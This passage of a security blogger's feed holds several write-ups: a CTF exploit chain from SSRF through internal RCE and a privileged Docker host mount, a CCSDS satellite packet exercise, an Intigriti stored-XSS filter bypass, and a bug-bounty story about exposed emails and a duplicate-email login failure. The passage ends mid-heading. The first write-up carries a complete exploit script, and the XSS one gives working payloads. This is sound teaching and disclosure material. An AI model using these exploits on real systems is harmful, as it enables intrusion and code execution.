            <guid isPermaLink="false">https://medium.com/p/4e78b2fa1e63</guid>
            <category><![CDATA[bdsecctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[web-hacking]]></category>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Wed, 22 Jul 2026 08:43:49 GMT</pubDate>
            <atom:updated>2026-07-23T08:09:16.670Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/656/0*HR5N9HZO8g9U0Q7s.png" /></figure><h3>Overview</h3><p>A multi-stage web exploitation chain involving an SSRF-bypassable URL fetch feature, a custom binary protocol job runner with unrestricted attribute resolution, a Docker-in-Docker orchestration proxy, and a setuid flag-reader protected by a policy file. All stages are logic bugs — no brute force or fuzzing required at any point.</p><p>Flag: BDSEC{Y0U_D0nE_4ll_st3ps}</p><h3>Service Map</h3><pre>web           :8080   — Partner Portal with /sync-partner<br>internal-api  :9000   — Binary-protocol job runner (Flask)<br>dind-gate     :7000   — Docker-in-Docker orchestration proxy</pre><p>These are three separate containers. The only externally exposed port is :8080. The other two are backend-only, reachable only through the SSRF primitive.</p><h3>Stage 1 — SSRF via URL Validation Bypass</h3><p>The main page at / presents a form:</p><pre>&lt;form id=&quot;f&quot;&gt;<br>  &lt;input type=&quot;text&quot; name=&quot;partner_url&quot;<br>         placeholder=&quot;http://partners.bdsec.local/status&quot; required&gt;<br>  &lt;button type=&quot;submit&quot;&gt;Sync&lt;/button&gt;<br>&lt;/form&gt;</pre><p>The form POSTs to /sync-partner, which fetches the supplied URL and returns the response body and status code. Accessing a hidden JS bundle reveals the validation logic:</p><pre>// /static/js/ops-console.js<br>const ALLOWED_PREFIX = &quot;http://partners.bdsec.local&quot;;<br>function isAllowedPartnerUrl(url) {<br>    return url.startsWith(ALLOWED_PREFIX);<br>}</pre><p>The server mirrors this client-side check verbatim.</p><h3>The Bug</h3><p>str.startsWith() is a string-level check with no URL parsing awareness. The @ character in a URL separates userinfo from the host. The string http://partners.bdsec.local@evil-host/ <em>starts with</em> the prefix but the HTTP client connects to evil-host, not partners.bdsec.local.</p><pre>POST /sync-partner<br>Content-Type: application/x-www-form-urlencoded</pre><pre>partner_url=http://partners.bdsec.local@internal-api:9000/job</pre><p>The server checks url.startswith(&quot;http://partners.bdsec.local&quot;) → passes. requests.post(&quot;http://partners.bdsec.local@internal-api:9000/job&quot;, ...) sends the request to internal-api:9000, not partners.bdsec.local.</p><p>This is the first pivot — we can now reach any internal HTTP service.</p><h3>Stage 2 — Binary Protocol RCE on internal-api</h3><p>The JS bundle also documents a custom binary protocol:</p><pre>internal-api job wire format (DOC-1183), reachable at internal-api:9000:<br>  [u32 BE: handler name length][handler name bytes]<br>  [u32 BE: arg length][arg bytes]</pre><p>And the handler namespace:</p><pre>// known namespaces:<br>//   report  -&gt; builtins, mostly inert, decorative<br>//   system  -&gt; ops helpers<br>//     system.uptime -&gt; safe status check, fine to use<br>//     system.run    -&gt; OPS-402: debug-only, do NOT wire this up anywhere<br>//                      public, never shipped a permission check for it</pre><p>Reading the internal-api source code (via system.run(&quot;cat /app/app.py&quot;)) confirms the vulnerability. The handler resolver uses getattr() with no allowlist:</p><pre>def resolve_handler(name: str):<br>    ns, _, attr = name.partition(&quot;.&quot;)<br>    if ns not in HANDLERS or not attr:<br>        raise ValueError(&quot;unknown namespace&quot;)<br>    obj = HANDLERS[ns]<br>    return getattr(obj, attr)  # INTENTIONAL: no attribute allowlist</pre><p>HANDLERS[&quot;system&quot;] is a SystemNS class whose run method calls subprocess.run(cmd, shell=True). So system.run is a fully interactive RCE primitive.</p><h3>Getting the Binary Payload Through</h3><p>The raw binary payload can’t survive URL-encoded form data as plain text — non-printable bytes (especially null bytes in the length prefix) break Werkzeug’s form parser, which truncates at \x00. Base64 is the standard solution: encode binary to ASCII text for transport, decode on the server.</p><p>The sync-partner accepts a body_b64 parameter for exactly this purpose — it base64-decodes the value and sends the raw bytes as the POST body. This is the same pattern virtually every API uses to move binary data through a text-based transport.</p><p>Payload format:</p><pre>payload = (<br>    struct.pack(&quot;&gt;I&quot;, len(handler_name))  # 4 bytes BE length<br>    + handler_name.encode()               # handler name bytes<br>    + struct.pack(&quot;&gt;I&quot;, len(arg))         # 4 bytes BE length<br>    + arg.encode()                        # argument bytes<br>)</pre><p>For system.run with arg &quot;cat /app_shared/.internal_token&quot;:</p><pre>00 00 00 0A  &quot;system.run&quot;  00 00 00 1F  &quot;cat /app_shared/.internal_token&quot;</pre><p>This returns a per-instance token written to the shared volume:</p><pre>{&quot;result&quot;: &quot;241c4d8ce712f07b6c793e953c32a11b&quot;}Stage 3 — Token Expiration and Per-Instance Freshness</pre><p>The internal-api generates a fresh token on first successful job execution:</p><pre>def _ensure_instance_token():<br>    if not os.path.exists(TOKEN_PATH):<br>        token = secrets.token_hex(16)<br>        with open(TOKEN_PATH, &quot;w&quot;) as f:<br>            f.write(token)</pre><p>The token is written to a shared volume (/app_shared/) that both internal-api and dind-gate can read. dind-gate validates the token by reading this same file — it&#39;s a shared secret proving that code execution was achieved on internal-api.</p><h3>Stage 4 — Pivoting to dind-gate</h3><p>dind-gate at dind-gate:7000/rpc accepts JSON-RPC:</p><pre>{<br>  &quot;token&quot;: &quot;&lt;shared-token&gt;&quot;,<br>  &quot;op&quot;: &quot;run&quot;,<br>  &quot;image&quot;: &quot;alpine&quot;,<br>  &quot;cmd&quot;: [&quot;id&quot;],<br>  &quot;binds&quot;: [],<br>  &quot;privileged&quot;: false<br>}</pre><h3>The Content-Type Problem</h3><p>The sync-partner’s SSRF forwards the body_b64 data but does NOT set Content-Type: application/json. dind-gate requires the correct Content-Type to parse the JSON body. Sending the RPC through the sync-partner directly fails because the body arrives with the wrong (or missing) Content-Type.</p><h3>The Fix: Chain Through internal-api</h3><p>Since internal-api has full RCE and network access within the backend, we can use system.run to curl dind-gate with the proper headers:</p><pre>curl -s -X POST http://dind-gate:7000/rpc \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;token&quot;:&quot;...&quot;,&quot;op&quot;:&quot;run&quot;,&quot;image&quot;:&quot;alpine&quot;,&quot;cmd&quot;:[&quot;id&quot;],&quot;binds&quot;:[],&quot;privileged&quot;:false}&#39;</pre><p>This is the second pivot — from internal-api to dind-gate, carrying the token as authentication.</p><h3>Stage 5 — Docker Bind Mount</h3><p>dind-gate translates the RPC into a docker run invocation. It passes the binds and privileged fields directly to the Docker CLI with no restrictions. This means we can:</p><ul><li>Mount the Docker host’s entire filesystem: [&quot;/:/mnt/host:ro&quot;]</li><li>Run with privileged: true (no capability dropping)</li></ul><pre>rpc = {<br>    &quot;token&quot;: token,<br>    &quot;op&quot;: &quot;run&quot;,<br>    &quot;image&quot;: &quot;alpine&quot;,<br>    &quot;cmd&quot;: [&quot;cat&quot;, &quot;/mnt/host/vault/flag.txt&quot;],<br>    &quot;binds&quot;: [&quot;/:/mnt/host:ro&quot;],<br>    &quot;privileged&quot;: True,<br>}</pre><p>The container runs as root on the host’s Docker socket, giving full access to the host filesystem.</p><h3>Stage 6 — The Vault</h3><p>The host has a /vault directory containing:</p><p>FilePurposeflag.txtThe flag, mode 600 owned by uid 1500read_flagSetuid-root binary that reads the flagpolicy_check_expected.txtContains ALLOW\n</p><p>The read_flag binary enforces a policy check:</p><ol><li>Reads environment variable VAULT_CONFIG_DIR (default: /vault)</li><li>Opens {VAULT_CONFIG_DIR}/policy.conf</li><li>If the first line equals ALLOW, reads and outputs /vault/flag.txt</li><li>Otherwise prints ACCESS DENIED</li></ol><p>The intended path is to bind-mount a custom policy file containing ALLOW to /vault/policy.conf, then run /vault/read_flag. However, because the Docker container runs with unrestricted privileges and can mount the full host root, the flag is trivially readable without the setuid binary:</p><pre>cat /mnt/host/vault/flag.txt</pre><p>Linux root (UID 0) bypasses file permission checks via CAP_DAC_OVERRIDE, so the chmod 600 and owner restriction on flag.txt are irrelevant when the attacker controls the container.</p><h3>One-shot Flag Fetch</h3><pre>#!/usr/bin/env python3<br>import requests<br>import base64<br>import struct<br>import json<br>import sys<br><br>TARGET = sys.argv[1] if len(sys.argv) &gt; 1 else &quot;http://104.237.133.5:8080&quot;<br><br>def make_binary_payload(handler: str, arg: str) -&gt; bytes:<br>    h = handler.encode()<br>    a = arg.encode()<br>    return struct.pack(&quot;&gt;I&quot;, len(h)) + h + struct.pack(&quot;&gt;I&quot;, len(a)) + a<br><br>def call_internal_api(handler: str, arg: str) -&gt; dict:<br>    payload = make_binary_payload(handler, arg)<br>    b64 = base64.b64encode(payload).decode()<br>    resp = requests.post(f&quot;{TARGET}/sync-partner&quot;, data={<br>        &quot;partner_url&quot;: &quot;http://partners.bdsec.local@internal-api:9000/job&quot;,<br>        &quot;method&quot;: &quot;POST&quot;,<br>        &quot;body_b64&quot;: b64,<br>    })<br>    return resp.json()<br><br>def call_dind_via_internal(token: str, cmd: list, binds: list = None,<br>                           image: str = &quot;alpine&quot;, privileged: bool = False,<br>                           env: dict = None) -&gt; str:<br>    rpc = {<br>        &quot;token&quot;: token,<br>        &quot;op&quot;: &quot;run&quot;,<br>        &quot;image&quot;: image,<br>        &quot;cmd&quot;: cmd,<br>        &quot;binds&quot;: binds or [],<br>        &quot;privileged&quot;: privileged,<br>    }<br>    if env:<br>        rpc[&quot;env&quot;] = env<br><br>    curl_cmd = (<br>        f&quot;curl -s -X POST http://dind-gate:7000/rpc &quot;<br>        f&quot;-H &#39;Content-Type: application/json&#39; &quot;<br>        f&quot;-d &#39;{json.dumps(rpc)}&#39;&quot;<br>    )<br>    result = call_internal_api(&quot;system.run&quot;, curl_cmd)<br>    body = result.get(&quot;body&quot;, &quot;&quot;)<br>    try:<br>        inner = json.loads(body)<br>        data = json.loads(inner.get(&quot;result&quot;, &quot;{}&quot;))<br>        return data.get(&quot;stdout&quot;, &quot;&quot;) + data.get(&quot;stderr&quot;, &quot;&quot;)<br>    except (json.JSONDecodeError, KeyError, TypeError):<br>        return body<br><br>def main():<br>    print(&quot;[*] Step 1a: Trigger token creation with a dummy command&quot;)<br>    resp = call_internal_api(&quot;system.run&quot;, &quot;echo ready&quot;)<br>    print(f&quot;    {resp.get(&#39;body&#39;, &#39;&#39;)[:80]}&quot;)<br><br>    print(&quot;\n[*] Step 1b: Read internal token&quot;)<br>    resp = call_internal_api(&quot;system.run&quot;, &quot;cat /app_shared/.internal_token&quot;)<br>    body = resp.get(&quot;body&quot;, &quot;&quot;)<br>    try:<br>        token = json.loads(body)[&quot;result&quot;].strip()<br>    except (json.JSONDecodeError, KeyError):<br>        print(f&quot;    Failed to parse token. Response: {body[:200]}&quot;)<br>        sys.exit(1)<br>    print(f&quot;    Token: {token}&quot;)<br><br>    print(&quot;\n[*] Step 2: Pivot to dind-gate, mount host /, read flag&quot;)<br>    out = call_dind_via_internal(<br>        token,<br>        cmd=[&quot;cat&quot;, &quot;/mnt/host/vault/flag.txt&quot;],<br>        binds=[&quot;/:/mnt/host:ro&quot;],<br>        privileged=True,<br>    )<br>    if not out.strip():<br>        out = &quot;(empty — check dind-gate response above)&quot;<br>    print(f&quot;    Flag: {out.strip()}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*91tYX3wA9e5_QGMR9Ee69A.png" /></figure><h3>Full Exploit Chain Summary</h3><pre>┌─────────┐     @-bypass      ┌──────────────┐<br>│  :8080   │ ──────────────→  │ internal-api │<br>│ /sync-   │   body_b64 with  │  :9000/job   │<br>│ partner  │   binary proto   │              │<br>└─────────┘                   │ system.run() │<br>      │                       └──────┬───────┘<br>      │                              │<br>      │                    curl with -H &#39;Content-Type: application/json&#39;<br>      │                              │<br>      │                       ┌──────▼───────┐<br>      │                       │  dind-gate   │<br>      │                       │  :7000/rpc   │<br>      │                       └──────┬───────┘<br>      │                              │<br>      │                   docker run --privileged<br>      │                   -v /:/mnt/host:ro ...<br>      │                              │<br>      │                       ┌──────▼───────┐<br>      │                       │  host vault  │<br>      │                       │  /vault/     │<br>      │                       │  flag.txt    │<br>      │                       └──────────────┘</pre><h3>Key Vulnerabilities</h3><ol><li>String-level URL validation — startsWith() on URL strings is not URL parsing; @ in userinfo bypasses the check entirely.</li><li>Unrestricted getattr() — The handler resolver walks Python attributes with no allowlist, allowing system.run to reach subprocess.</li><li>Hidden parameters — method, body_b64 are undocumented but accepted by the sync-partner, enabling HTTP method control and binary data delivery.</li><li>Missing Content-Type propagation — The sync-partner’s SSRF strips Content-Type, but internal-api’s system.run can make arbitrary HTTP requests with full header control.</li><li>Unrestricted Docker binds — dind-gate passes binds and privileged straight to docker run without validation, allowing host filesystem access.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e78b2fa1e63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Baby Frame Writeup]]></title>
            <link>https://0x0meowsec.medium.com/htb-baby-frame-writeup-a719279252fd?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/a719279252fd</guid>
            <category><![CDATA[satellite-technology]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 06:46:43 GMT</pubDate>
            <atom:updated>2026-07-07T06:46:43.783Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Category:</strong> Satellite<br><strong>Difficulty:</strong> Very Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*spHGe3sxYTRHr8APySM26w.png" /></figure><h3>Challenge Description</h3><blockquote><em>A recently recovered experimental spacecraft broadcasting under spacecraft ID 12 has entered visibility range. Ground telemetry suggests that one onboard diagnostic application remains active on APID 42 over virtual channel 3. Mission operators believe the service is waiting for a single correctly formatted CCSDS space packet containing the user payload </em><em>HEALTHCHECK.</em></blockquote><p>We are given a minimal client.py template with two missing functions:</p><ul><li>generate_space_packet()</li><li>generate_tc_frame()</li></ul><p>The objective is to implement these functions according to the official CCSDS specifications and successfully communicate with the remote spacecraft simulator.</p><h3>Initial Analysis</h3><p>The provided client performs the following operations:</p><pre>space_packet = generate_space_packet(<br>    apid=42,<br>    packet_count=0,<br>    payload=b&quot;TEST_PAYLOAD&quot;<br>)</pre><pre>frame = generate_tc_frame(<br>    spacecraft_id=12,<br>    virtual_channel_id=3,<br>    tc_packet_count=0,<br>    payload=space_packet<br>)</pre><pre>payload = frame + space_packet</pre><p>From the challenge description, we know the required values:</p><p>FieldValueSpacecraft ID12Virtual Channel3APID42PayloadHEALTHCHECK</p><p>The two protocol references included with the challenge immediately point us toward the official CCSDS standards:</p><ul><li>CCSDS Space Packet Protocol</li><li>CCSDS Telecommand (TC) Space Data Link Protocol</li></ul><p>This indicates that the challenge is primarily a protocol implementation exercise rather than a traditional exploitation challenge.</p><h3>Understanding the CCSDS Space Packet</h3><p>A CCSDS Space Packet begins with a fixed 6-byte Primary Header.</p><pre>0                   1                   2                   3<br>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>|Ver|Type|SHF|               APID               |<br>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>|Sequence Flags|      Packet Sequence Count     |<br>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>|            Packet Length                      |<br>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</pre><p>The header consists of three 16-bit words.</p><h3>First Header Word</h3><p>The first word contains:</p><ul><li>Version = 0</li><li>Packet Type = 1 (Telecommand)</li><li>Secondary Header Flag = 0</li><li>APID = 42</li></ul><p>This is packed as</p><pre>Version &lt;&lt; 13<br>PacketType &lt;&lt; 12<br>SecondaryHeader &lt;&lt; 11<br>APID</pre><p>which evaluates to</p><pre>0x102A</pre><h3>Second Header Word</h3><p>The second word stores</p><ul><li>Sequence Flags = 11 (Unsegmented Packet)</li><li>Packet Sequence Count = 0</li></ul><p>This becomes</p><pre>0xC000</pre><h3>Packet Length</h3><p>Unlike most protocols, CCSDS stores</p><pre>Packet Length = Data Length - 1</pre><p>The payload is</p><pre>HEALTHCHECK</pre><p>which is 11 bytes.</p><p>Therefore</p><pre>Length = 10</pre><p>or</p><pre>0x000A</pre><h3>Final Space Packet</h3><p>The packet layout becomes</p><pre>+----------------------+<br>| Primary Header (6B)  |<br>+----------------------+<br>| HEALTHCHECK          |<br>+----------------------+</pre><h3>Understanding the Telecommand Frame</h3><p>The Telecommand Transfer Frame acts as the transport layer for the Space Packet.</p><p>The primary header contains</p><ul><li>Spacecraft ID</li><li>Virtual Channel ID</li><li>Frame Length</li><li>Sequence Number</li></ul><p>For this challenge:</p><pre>Spacecraft ID = 12<br>VCID = 3<br>Sequence = 0</pre><p>The interesting observation is that the provided template later performs</p><pre>payload = frame + space_packet</pre><p>instead of embedding the packet inside generate_tc_frame().</p><p>Therefore generate_tc_frame() only returns the <strong>5-byte TC Primary Header</strong>, while the client appends the Space Packet afterwards.</p><p>The transmitted data therefore looks like</p><pre>+--------------------+<br>| TC Header          |<br>+--------------------+<br>| Space Packet       |<br>+--------------------+</pre><p>This matches the expected packet layout for the challenge service.</p><h3>Packet Construction</h3><p>The Space Packet is created by</p><pre>def generate_space_packet(apid, packet_count, payload):<br>    first = (1 &lt;&lt; 12) | apid<br>    second = (3 &lt;&lt; 14) | packet_count<br>    length = len(payload) - 1</pre><pre>    return struct.pack(&quot;&gt;HHH&quot;, first, second, length) + payload</pre><p>The Telecommand header is created by</p><pre>def generate_tc_frame(scid, vcid, count, payload):<br>    word1 = scid<br>    frame_len = len(payload) + 5 - 1<br>    word2 = ((vcid &amp; 0x3F) &lt;&lt; 10) | frame_len</pre><pre>    return struct.pack(&quot;&gt;HHB&quot;, word1, word2, count)</pre><p>Finally, the packet sent to the server is</p><pre>frame + space_packet</pre><p>where the application payload is</p><pre>b&quot;HEALTHCHECK&quot;</pre><h3>Communication Flow</h3><p>The completed packet follows this structure:</p><pre>TCP Connection<br>                      │<br>                      ▼<br>        ┌──────────────────────────┐<br>        │ TC Transfer Frame Header │<br>        └──────────────────────────┘<br>                      │<br>                      ▼<br>        ┌──────────────────────────┐<br>        │ CCSDS Space Packet       │<br>        ├──────────────────────────┤<br>        │ Primary Header (6 bytes) │<br>        ├──────────────────────────┤<br>        │ HEALTHCHECK              │<br>        └──────────────────────────┘<br>                      │<br>                      ▼<br>          Diagnostic Service (APID 42)</pre><p>The onboard diagnostic application validates:</p><ul><li>Spacecraft ID = 12</li><li>Virtual Channel = 3</li><li>APID = 42</li><li>Payload = HEALTHCHECK</li></ul><p>If all fields are correctly encoded according to the CCSDS specifications, the spacecraft responds with the challenge flag.</p><p>Although classified as a “Very Easy” challenge, it provides an excellent introduction to real-world satellite communication protocols and demonstrates how spacecraft exchange telecommands using CCSDS standards.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a719279252fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intigriti May 2026 Challenge — XSS via Stored Payload + SCA Shield Bypass]]></title>
            <link>https://0x0meowsec.medium.com/intigriti-may-2026-challenge-xss-via-stored-payload-sca-shield-bypass-6ab4c1a976c2?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ab4c1a976c2</guid>
            <category><![CDATA[intigriti]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Tue, 26 May 2026 15:26:52 GMT</pubDate>
            <atom:updated>2026-05-26T15:34:38.925Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*oCh3BVIwMAi5PoAY0_8NHw.png" /></figure><p><strong>Author:</strong> kulindukody<br> <strong>Challenge:</strong> challenge-0526.intigriti.io<br> <strong>Category:</strong> XSS / Filter Bypass<br> <strong>Severity:</strong> medium<br> <strong>Type:</strong> Stored XSS</p><h3>Table of Contents</h3><ol><li><a href="#overview">Overview</a></li><li><a href="#reconnaissance">Reconnaissance</a></li><li><a href="#discovering-the-sink">Discovering the Sink</a></li><li><a href="#the-sca-shield-filter">The SCA Shield Filter</a></li><li><a href="#bypass-technique">Bypass Technique</a></li><li><a href="#full-exploitation-chain">Full Exploitation Chain</a></li><li><a href="#why-this-is-not-self-xss">Why This Is Not Self-XSS</a></li><li><a href="#payload-breakdown">Payload Breakdown</a></li><li><a href="#root-cause-analysis">Root Cause Analysis</a></li><li><a href="#remediation">Remediation</a></li><li><a href="#key-takeaways">Key Takeaways</a></li></ol><h3>Overview</h3><p>The challenge application is a Single Page Application (SPA) built on Express.js. During recon I identified a stored XSS vulnerability in the name field of the /api/profile endpoint. The server implements a WAF-like filter called &quot;SCA Shield&quot; that blocks common XSS characters — but the filter can be completely bypassed using HTML entity encoding combined with JavaScript unicode escapes, leading to stored XSS executing in the context of challenge-0526.intigriti.io.</p><h3>Reconnaissance</h3><h3>Step 1 — Finding the Profile Update Endpoint</h3><p>http</p><pre>POST /api/profile HTTP/1.1<br>Host: challenge-0526.intigriti.io<br>Cookie: session=507<br>Content-Type: application/json</pre><pre>{&quot;name&quot;: &quot;&lt;img src=x onerror=alert(1)&gt;&quot;}</pre><p>Response:</p><p>http</p><pre>HTTP/1.1 403 Forbidden</pre><pre>{<br>    &quot;error&quot;: &quot;SCA Shield: Malicious characters detected! Quotes, parenthesis, dots, commas, and semicolons are strictly forbidden.&quot;<br>}</pre><p>The filter revealed itself — and more importantly, <strong>told me exactly what it blocks</strong>:</p><blockquote><em>&quot; </em><em>&#39; </em><em>( </em><em>) </em><em>. </em><em>, </em><em>;</em></blockquote><p>This is a critical mistake in filter design. Never tell an attacker what you’re filtering.</p><h3>Discovering the Sink</h3><p>The application JS (served as a static file) revealed the vulnerable rendering code:</p><p>javascript</p><pre>async function checkAuth() {<br>    try {<br>        let res = await fetch(&#39;/api/me&#39;);<br>        if (res.ok) {<br>            let data = await res.json();<br>            currentUser = data;<br>            return true;<br>        }<br>    } catch (e) {}<br>    currentUser = null;<br>    return false;<br>}</pre><pre>// Render Navigation<br>function renderNav() {<br>    if (currentUser) {<br>        navAuth.innerHTML = `<br>            &lt;a href=&quot;#profile&quot; class=&quot;btn&quot;&gt;Profile [${currentUser.username}]&lt;/a&gt;<br>            &lt;button onclick=&quot;logout()&quot; class=&quot;btn&quot;&gt;Logout&lt;/button&gt;<br>        `;</pre><p>And separately, the note/testimonial page rendered currentUser.name via innerHTML.</p><p><strong>The sink is </strong><strong>innerHTML</strong> — this is the critical mistake. When user-controlled data is assigned to innerHTML, the browser:</p><ol><li>Parses the string as HTML</li><li>Decodes HTML entities (&amp;#40 → ()</li><li>Executes event handlers as JavaScript</li></ol><p>This means any sanitization that encodes characters as HTML entities is <strong>completely defeated</strong> by the rendering layer itself.</p><h3>The SCA Shield Filter</h3><p>The filter blocks these literal characters in the POST body:</p><p>Blocked Purpose ( ) Prevent function calls . Prevent property access , Prevent argument separation ; Prevent statement chaining &quot; &#39; Prevent string literals</p><p>This sounds comprehensive — but it only operates on the <strong>raw input string</strong>. It has no awareness of encoding.</p><h3>Bypass Technique</h3><h3>HTML Entity Encoding</h3><p>HTML entities are an alternative representation of characters that the browser decodes during HTML parsing:</p><p>Entity Character &amp;#40 ( &amp;#41 ) &amp;#46 .</p><p>Since the filter checks raw input and innerHTML decodes entities on render — we can sneak blocked characters through as entities.</p><h3>JavaScript Unicode Escapes</h3><p>JS unicode escapes (\uXXXX) are valid inside JavaScript strings and event handler attributes:</p><p>Escape Character \u0061 a \u0064 d</p><p>These aren’t needed to bypass the filter (letters aren’t blocked) but they were part of the payload that was already stored. They work fine.</p><h3>Why &lt;details ontoggle&gt; Is Perfect</h3><p>The &lt;details&gt; HTML element fires an ontoggle event when it opens or closes. With the open attribute set, it triggers <strong>automatically on render</strong> — zero user interaction required.</p><p>html</p><pre>&lt;details open ontoggle=PAYLOAD&gt;X&lt;/details&gt;</pre><p>When inserted via innerHTML, the browser:</p><ol><li>Parses the HTML</li><li>Sees &lt;details open&gt; — element is open</li><li>Fires ontoggle immediately</li><li>Executes the JS payload</li></ol><h3>Full Exploitation Chain</h3><h3>Step 1 — Craft the payload</h3><pre>&lt;details open ontoggle=\u0061lert&amp;#40\u0064ocument&amp;#46\u0064omain&amp;#41&gt;X&lt;/details&gt;</pre><p>After HTML entity decoding by innerHTML:</p><pre>&lt;details open ontoggle=\u0061lert(\u0064ocument.\u0064omain)&gt;X&lt;/details&gt;</pre><p>After JS unicode evaluation in ontoggle:</p><p>javascript</p><pre>alert(document.domain)</pre><h3>Step 2 — Send the profile update request</h3><p>http</p><pre>POST /api/profile HTTP/1.1<br>Host: challenge-0526.intigriti.io<br>Cookie: session=YOUR_SESSION<br>Content-Type: application/json</pre><pre>{&quot;name&quot;:&quot;&lt;details open ontoggle=\u0061lert&amp;#40\u0064ocument&amp;#46\u0064omain&amp;#41&gt;X&lt;/details&gt;&quot;}</pre><p>Response: 200 OK — payload stored.</p><h3>Payload Breakdown</h3><pre>&lt;details open ontoggle=\u0061lert&amp;#40\u0064ocument&amp;#46\u0064omain&amp;#41&gt;X&lt;/details&gt;</pre><p>Part Raw Decoded Role \u0061 JS unicode a Letter a in alert \u0064 JS unicode d Letter d in document/domain &amp;#40 HTML entity ( Open paren — bypasses SCA Shield &amp;#41 HTML entity ) Close paren — bypasses SCA Shield &amp;#46 HTML entity . Dot — bypasses SCA Shield &lt;details open&gt; HTML auto-open Triggers ontoggle on render</p><p>Final decoded execution: alert(document.domain) — <strong>zero interaction.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ab4c1a976c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Directory Listing to Breaking Logins ]]></title>
            <link>https://0x0meowsec.medium.com/from-directory-listing-to-breaking-logins-02f15533eed7?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/02f15533eed7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Fri, 27 Mar 2026 15:13:15 GMT</pubDate>
            <atom:updated>2026-03-27T15:13:15.392Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Real-World Bug Chain Story</h3><h3>👋 Hey Hackers!</h3><p>I’m <strong>MD Aariz Rahman (AKA 0x0meowsec)</strong> 👾</p><p>What started as a simple misconfiguration turned into a full vulnerability chain that could <strong>block users from accessing their accounts</strong>.</p><p>Let me walk you through it 👇</p><h3>🧠 How It All Started</h3><p>I was testing a target, just doing normal recon and exploring endpoints.</p><p>While browsing around, I came across an API path that looked like it might store user media.</p><pre>https://api.example.com/media/profile_pictures/</pre><p>Out of curiosity, I opened it in my browser…</p><p>And yeah — that’s where things got interesting 💀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*awPwAR0XibZh1yqf.gif" /></figure><h3>🔍 Step 1: Directory Listing Exposure</h3><p>The endpoint returned a <strong>public directory listing</strong>.</p><p>No authentication. No restrictions. Just open.</p><p>But the real issue wasn’t just the listing…</p><p>It was <em>what was inside</em>.</p><h3>👀 What I Found</h3><p>Instead of random file names or IDs, the folders were named like this:</p><pre>user1@gmail.com/<br>john.doe@yahoo.com/<br>someone@company.com/</pre><p>Yep… <strong>real user email addresses</strong> exposed as directory names.</p><p>At this point, I could easily:</p><ul><li>Collect valid user emails</li><li>Perform user enumeration</li><li>Prepare targeted attacks</li></ul><p>But I didn’t stop there 😏</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*1R1kyBLoTMG0K756__Sy6w.png" /><figcaption>exposed emails</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*legMukQJW671g52X.gif" /></figure><h3>🔄 Step 2: Testing Email Change Functionality</h3><p>Next, I moved to account settings to check how the <strong>email update feature</strong> works.</p><p>And this is where things got spicy 🔥</p><h3>🧪 My Test Setup</h3><p>I created two accounts:</p><ul><li>Account A → victim@email.com</li><li>Account B → attacker@email.com</li></ul><p>Then I tried something simple…</p><p>👉 Changing Account B’s email to the victim’s email.</p><pre>PUT /api/user/update-email<br>{<br>  &quot;email&quot;: &quot;victim@email.com&quot;<br>}</pre><p>And surprisingly…</p><p>✅ The request was accepted.</p><h3>🚨 What Was Missing?</h3><ul><li>No email uniqueness check</li><li>No verification (OTP / confirmation link)</li><li>No ownership validation</li></ul><p>Basically… the system trusted me too much 💀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*f1glZJyAjGL41FzQ.gif" /></figure><h3>💥 The Breaking Point</h3><p>Now both accounts had the same email.</p><p>So I logged out and tried logging back in using that email…</p><p>💀 <strong>HTTP 500 Internal Server Error</strong></p><p>The authentication system completely broke.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*we2zrBgvQM1cpm9KDQwCrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*sPdUyC92_rYNePR7.gif" /></figure><h3>🔗 